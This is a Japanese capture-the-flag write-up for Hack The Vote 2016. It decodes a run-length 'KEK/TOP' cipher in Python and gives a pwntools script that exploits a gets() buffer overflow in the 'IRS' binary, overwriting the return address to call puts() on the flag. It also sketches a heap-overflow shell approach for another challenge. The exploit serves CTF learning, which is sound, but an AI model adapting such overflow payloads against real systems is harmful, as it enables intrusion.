ブログ未満のなにか

ブログなのか誰にも分からない

Hack The Vote 2016 writeup

はじめに

TokyoWesternsで参加して、結果は2401ptsの19位だった。
自分が関わった分は、150pts分だったので、そのwriteupを書いていく。

TOPKEK (Crypto 50)

見た感じランレングスっぽいなーと思い、適当にやってみたら当たっていた。

% cat kek.43319559636b94db1c945834340b65d68f90b6ecbb70925f7b24f6efc5c2524e.txt 
KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP
def count_exp(c):
    result = 0
    for i in c:
        if i == '!':
            result = result + 1
    return result 


cry = '''KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!'''

# print cry.split(" ")
list_cry = cry.split(" ")

result = ''
for c in list_cry:
    if 'KEK' in c:
        result += '0' * count_exp(c)
    if 'TOP' in c:
        result += '1' * count_exp(c)

print '[+] result =', result
print '[+] result =', hex(int(result, 2))
flag =  hex(int(result, 2))
flag = flag[2:-1]

print flag
print flag.decode('hex')

% python solver.py 
[+] result = 0110011001101100011000010110011101111011010101000011000001101111001100000110111100110000011011110011000001101111001100000101000001011111010111110101111101011111010111110101111100110001011011010101111101101000001101000101011000110001011011100100011101011111010001100111010101001110010111110111001000110001011001110100100001110100010111110110111000110000010101110101111100110100010100100011001101011111011110010011000001110101010111110110100000110100011101100011000101101110011001110101111101100110011101010110111001011111010111110101111101011111010111110101111101001011001100110100101100100001001000010010000101111101
[+] result = 0x666c61677b54306f306f306f306f30505f5f5f5f5f5f316d5f683456316e475f46754e5f72316748745f6e30575f3452335f7930755f683476316e675f66756e5f5f5f5f5f5f4b334b2121217dL
666c61677b54306f306f306f306f30505f5f5f5f5f5f316d5f683456316e475f46754e5f72316748745f6e30575f3452335f7930755f683476316e675f66756e5f5f5f5f5f5f4b334b2121217d
flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}

IRS (Exploitation 100)

メニューの1番で新規登録を行い、3番で登録した情報の編集が行えた。確認の"y/n"メッセージの後にgets()で入力を取っているので、ここでBOFが起きる。
canaryもないので、EIPを書き換え可能となっている。
Trumpさんのパスワードがflagとなっており、そのアドレスは固定となっている。
リターンアドレスをputs()を呼び出すように、引数にflagをセットすればいい。
競技中、flagのアドレスを間違えており、1時間ぐらい悩んでいた。
メンバーに相談したところ、サクッとフラグを取ってくれて有難かった。

from pwn import *

bufsize = 21 
puts_addr = 0x80484f8
flag_addr = 0x8048ac2

host = 'irs.pwn.republican'
port = 4127

conn = remote(host, port)
#conn = process('./irs')

conn.recvuntil('Donald Trump')
conn.sendline('1')
conn.recvuntil('Enter the name: ')
conn.sendline('A')
conn.recvuntil('Enter the password: ')
conn.sendline('B')
conn.recvuntil('Enter the income: ')
conn.sendline('1')
conn.recvuntil('Enter the deductions: ')
conn.sendline('2')

conn.recvuntil('1 - A')
conn.sendline('3')
conn.recvuntil('Enter the name of the file to edit: ')
conn.sendline('A')
conn.recvuntil('Enter the password: ')
conn.sendline('B')
conn.recvuntil('Enter the new income: ')
conn.sendline('3')
conn.recvuntil('Enter the new deductible: ')
conn.sendline('4')
print conn.recvuntil('y/n')

payload = 'A' * (bufsize)
payload += 'dead'  
payload += p32(puts_addr)  
payload += 'beaf'
payload += p32(flag_addr)
print '[+] payload =', payload
conn.sendline(payload)
conn.recvuntil('Your changes have been recorded!')
recv =  conn.recv(1024)
recv =  conn.recv(1024)
print recv
% python exploit.py 
[+] Opening connection to irs.pwn.republican on port 4127: Done
y/n
[+] payload = AAAAAAAAAAAAAAAAAAAAAdead?beaf\x0

flag?@\x04{c4n?_1_g?@\x0c3t_a?@\x10_r3f?@\x14und}\x8bE??@d\xff\x9frN\x8bE??@h\xff\x9frN\x8bE??E?\x83?
                                                                                                     ?E?P?,?\xff\xff\x83?\xa1 \xb0\x0\x83?Pj\x03\x8dE?P???\xff\xff\x83?\x83?j2j

[*] Closed connection to irs.pwn.republican port 4127

フォーマットに合うように整形して

flag{c4n_1_get_a_r3fund}

FOX Voting Simulator (Exploitation 300)

この問題は、取り組んでいたが競技中に解けなかったもの。
NWO_memberVote関数のダンプまではしたが、よく読まずに問題ないと判断して詰んでいた。
他のwriteupを見るとheap overflowが起こせたようで、action関数のアドレスを書き換えてone-gadget /bin/sh RCEを呼べばシェルを取れたようだった。

おわりに

精進します。もっとpwnできるようになりたい。